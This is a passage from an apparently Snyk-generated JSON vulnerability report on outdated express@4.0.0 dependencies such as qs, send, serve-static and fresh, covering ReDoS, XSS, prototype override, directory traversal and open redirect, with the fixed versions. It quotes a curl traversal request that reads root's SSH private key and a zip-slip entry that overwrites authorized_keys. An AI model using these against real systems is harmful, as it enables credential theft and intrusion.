`ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `qs` to version 1.0.0 or higher.\n# References\n- [Node Security Advisory](https://nodesecurity.io/advisories/28)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 6.5, - "security-severity": "6.5" - } - }, - { - "id": "npm:qs:20170213", - "shortDescription": { - "text": "High severity - Prototype Override Protection Bypass vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2017-1000048) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Prototype Override Protection Bypass. By default `qs` protects against attacks that attempt to overwrite an object's existing prototype properties, such as `toString()`, `hasOwnProperty()`,etc.\r\n\r\nFrom [`qs` documentation](https://github.com/ljharb/qs):\r\n> By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.\r\n\r\nOverwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.\r\n\r\nIn versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with `[` or `]`. e.g. `qs.parse(\"]=toString\")` will return `{toString = true}`, as a result, calling `toString()` on the object will throw an exception.\r\n\r\n**Example:**\r\n```js\r\nqs.parse('toString=foo', { allowPrototypes: false })\r\n// {}\r\n\r\nqs.parse(\"]=toString\", { allowPrototypes: false })\r\n// {toString = true} <== prototype overwritten\r\n```\r\n\r\nFor more information, you can check out our [blog](https://snyk.io/blog/high-severity-vulnerability-qs/).\r\n\r\n# Disclosure Timeline\r\n- February 13th, 2017 - Reported the issue to package owner.\r\n- February 13th, 2017 - Issue acknowledged by package owner.\r\n- February 16th, 2017 - Partial fix released in versions `6.0.3`, `6.1.1`, `6.2.2`, `6.3.1`.\r\n- March 6th, 2017 - Final fix released in versions `6.4.0`,`6.3.2`, `6.2.3`, `6.1.2` and `6.0.4`\n# Remediation\nUpgrade `qs` to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.\n# References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/beade029171b8cef9cee0d03ebe577e2dd84976d)\n- [GitHub Issue](https://github.com/ljharb/qs/issues/200)\n" - }, - "properties": { - "tags": ["security", "CWE-20", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-JS-SEND-7926862", - "shortDescription": { - "text": "Low severity - Cross-site Scripting vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2024-43799) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › send@0.2.0\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\n[send](https://github.com/pillarjs/send) is a Better streaming static file server with Range and conditional-GET support\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the `SendStream.redirect()` function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.\r\n\r\n**Note:**\r\n\r\nExploiting this vulnerability requires the following:\r\n\r\n1) The attacker needs to control the input to `response.redirect()`\r\n\r\n2) Express MUST NOT redirect before the template appears\r\n\r\n3) The browser MUST NOT complete redirection before\r\n\r\n4) The user MUST click on the link in the template\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `send` to version 0.19.0, 1.1.0 or higher.\n# References\n- [GitHub Commit](https://github.com/pillarjs/send/commit/ae4f2989491b392ae2ef3b0015a019770ae65d35)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 2.1, - "security-severity": "2.1" - } - }, - { - "id": "npm:send:20140912", - "shortDescription": { - "text": "Medium severity - Directory Traversal vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2014-6394) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › send@0.2.0\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\n[send](https://www.npmjs.com/package/send) is a library for streaming files from the file system.\n\nAffected versions of this package are vulnerable to Directory-Traversal attacks due to insecure comparison.\nWhen relying on the root option to restrict file access a malicious user may escape out of the restricted directory and access files in a similarly named directory. For example, a path like `/my-secret` is consedered fine for the root `/my`.\n\n# Details\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\r\n\r\nDirectory Traversal vulnerabilities can be generally divided into two types:\r\n\r\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\r\n\r\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\r\n\r\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\r\n\r\n```\r\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\r\n```\r\n**Note** `%2e` is the URL encoded version of `.` (dot).\r\n\r\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \r\n\r\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n2018-04-15 22:04:29 ..... 19 19 good.txt\r\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n```\n \n\n# Remediation\nUpgrade to a version greater than or equal to 0.8.4.\n\n# References\n- [GitHub PR](https://github.com/visionmedia/send/pull/59)\n- [GitHub Commit](https://github.com/visionmedia/send/commit/9c6ca9b2c0b880afd3ff91ce0d211213c5fa5f9a)\n" - }, - "properties": { - "tags": ["security", "CWE-23", "npm"], - "cvssv3_baseScore": 4.3, - "security-severity": "4.3" - } - }, - { - "id": "npm:send:20151103", - "shortDescription": { - "text": "Medium severity - Root Path Disclosure vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2015-8859) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › send@0.2.0\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\r\n[Send](https://www.npmjs.com/package/send) is a library for streaming files from the file system as an http response. It supports partial responses (Ranges), conditional-GET negotiation, high test coverage, and granular events which may be leveraged to take appropriate actions in your application or framework.\r\n\r\nAffected versions of this package are vulnerable to a Root Path Disclosure.\r\n\r\n# Remediation\r\nUpgrade `send` to version 0.11.1 or higher. \r\nIf a direct dependency update is not possible, use [snyk wizard](https://snyk.io/docs/using-snyk#wizard) to patch this vulnerability.\r\n\r\n# References\r\n- [GitHub PR](https://github.com/pillarjs/send/pull/70)\r\n- [GitHub Commit](https://github.com/pillarjs/send/commit/98a5b89982b38e79db684177cf94730ce7fc7aed)\r\n- [GitHub History](https://github.com/expressjs/serve-static/blob/master/HISTORY.md#181--2015-01-20)\r\n- [Expressjs Security Update](http://expressjs.com/advanced/security-updates.html)" - }, - "properties": { - "tags": ["security", "CWE-200", "npm"], - "cvssv3_baseScore": 5.3, - "security-severity": "5.3" - } - }, - { - "id": "SNYK-JS-SERVESTATIC-7926865", - "shortDescription": { - "text": "Low severity - Cross-site Scripting vulnerability in serve-static" - }, - "fullDescription": { - "text": "(CVE-2024-43800) serve-static@1.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: serve-static\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1\n# Overview\n[serve-static](https://github.com/expressjs/serve-static) is a server.\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the `redirect` function. An attacker can manipulate the redirection process by injecting malicious code into the input. \r\n\r\n\r\n**Note**\r\n\r\nTo exploit this vulnerability, the following conditions are required:\r\n\r\n1) The attacker should be able to control the input to `response.redirect()`\r\n\r\n2) express must not redirect before the template appears\r\n\r\n3) the browser must not complete redirection before:\r\n\r\n4) the user must click on the link in the template\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `serve-static` to version 1.16.0, 2.1.0 or higher.\n# References\n- [GitHub Commit](https://github.com/expressjs/serve-static/commit/0c11fad159898cdc69fd9ab63269b72468ecaf6b)\n- [GitHub Commit](https://github.com/expressjs/serve-static/commit/ce730896fddce1588111d9ef6fdf20896de5c6fa)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 2.1, - "security-severity": "2.1" - } - }, - { - "id": "npm:serve-static:20150113", - "shortDescription": { - "text": "Low severity - Open Redirect vulnerability in serve-static" - }, - "fullDescription": { - "text": "(CVE-2015-1164) serve-static@1.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: serve-static\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1\n# Overview\r\n\r\nWhen using serve-static middleware version < 1.7.2 and it's configured to mount at the root, it creates an open redirect on the site.\r\n\r\n_Source: [Node Security Project](https://nodesecurity.io/advisories/35)_\r\n\r\n# Details\r\n\r\nFor example:\r\n\r\nIf a user visits `http://example.com//www.google.com/%2e%2e` they will be redirected to `//www.google.com/%2e%2e`, which some browsers interpret as `http://www.google.com/%2e%2e`.\r\n\r\n# Remediation\r\n\r\n * Update to version 1.7.2 or greater (or 1.6.5 if sticking to the 1.6.x line).\r\n * Disable redirects if not using the feature with 'redirect: false' option and cannot upgrade.\r\n\r\n# References\r\n\r\n- https://github.com/expressjs/serve-static/issues/26\r\n- https://www.owasp.org/index.php/Open_redirect" - }, - "properties": { - "tags": ["security", "CWE-601", "npm"], - "cvssv3_baseScore": 3.1, - "security-severity": "3.1" - } - }, - { - "id": "npm:cookie-signature:20160804", - "shortDescription": { - "text": "Medium severity - Non-Constant Time String Comparison vulnerability in cookie-signature" - }, - "fullDescription": { - "text": "(CVE-2016-1000236) cookie-signature@1.0.3" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: cookie-signature\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › cookie-signature@1.0.3\n# Overview\r\n['cookie-signature'](https://www.npmjs.com/package/cookie-signature) is a library for signing cookies.\r\n\r\nVersions before `1.0.4` of the library use the built-in string comparison mechanism, `===`, and not a time constant string comparison. As a result, the comparison will fail faster when the first characters in the token are incorrect.\r\nAn attacker can use this difference to perform a timing attack, essentially allowing them to guess the secret one character at a time.\r\n\r\nYou can read more about timing attacks in Node.js on the Snyk blog: https://snyk.io/blog/node-js-timing-attack-ccc-ctf/\r\n\r\n# Remediation\r\nUpgrade to `1.0.4` or greater.\r\n\r\n# References\r\n- [GitHub History](https://github.com/tj/node-cookie-signature/blob/master/History.md#104--2014-06-25)\r\n- [GitHub Commit](https://github.com/tj/node-cookie-signature/commit/39791081692e9e14aa62855369e1c7f80fbfd50e)" - }, - "properties": { - "tags": ["security", "CWE-208", "npm"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "npm:fresh:20170908", - "shortDescription": { - "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in fresh" - }, - "fullDescription": { - "text": "(CVE-2017-16119) fresh@0.2.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: fresh\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › fresh@0.2.2\n* _Introduced through_: package.json@* › express@4.0.0 › send@0.2.0 › fresh@0.2.2\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1 › send@0.1.4 › fresh@0.2.0\n# Overview\r\n[`fresh`](https://www.npmjs.com/package/fresh) is HTTP response freshness testing.\r\n\r\nAffected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (`/ *, */`) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\r\n\r\n\r\n# Remediation\r\nUpgrade `fresh` to version 0.5.2 or higher.\n\n# References\n- [https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec](https://github.com/jshttp/fresh/commit/21a0f0c2a5f447e0d40bc16be0c23fa98a7b46ec)\n- [https://github.com/jshttp/fresh/issues/24](https://github.com/jshttp/fresh/issues/24)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:mime:20170907", - "shortDescription": { - "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in mime" - }, - "fullDescription": { - "text": "(CVE-2017-16138) mime@1.2.11" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: mime\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › accepts@1.0.0 › mime@1.2.11\n* _Introduced through_: package.json@* › express@4.0.0 › send@0.2.0 › mime@1.2.11\n* _Introduced through_: package.json@* › express@4.0.0 › type-is@1.0.0 › mime@1.2.11\n* _Introduced through_: package.json@* › express@4.0.0 › serve-static@1.0.1 › send@0.1.4 › mime@1.2.11\n# Overview\n[mime](https://www.npmjs.com/package/mime) is a comprehensive, compact MIME type module.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex `/.*[\\.\\/\\\\]/` in its lookup, which can cause a slowdown of 2 seconds for 50k characters.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `mime` to version 1.4.1, 2.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/1df903fdeb9ae7eaa048795b8d580ce2c98f40b0)\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/855d0c4b8b22e4a80b9401a81f2872058eae274d)\n- [GitHub Issue](https://github.com/broofa/node-mime/issues/167)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/535)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 3.7, - "security-severity": "3.7" - } - }, - { - "id": "npm:negotiator:20160616", - "shortDescription": { - "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in negotiator" - }, - "fullDescription": { - "text": "(CVE-2016-10539) negotiator@0.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: negotiator\n* Introduced through: package.json@*, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: package.json@* › express@4.0.0 › accepts@1.0.0 › negotiator@0.3.0\n# Overview\n\n[negotiator](https://npmjs.org/package/negotiator) is an HTTP content negotiator for Node.js.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nwhen parsing `Accept-Language` http header.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e 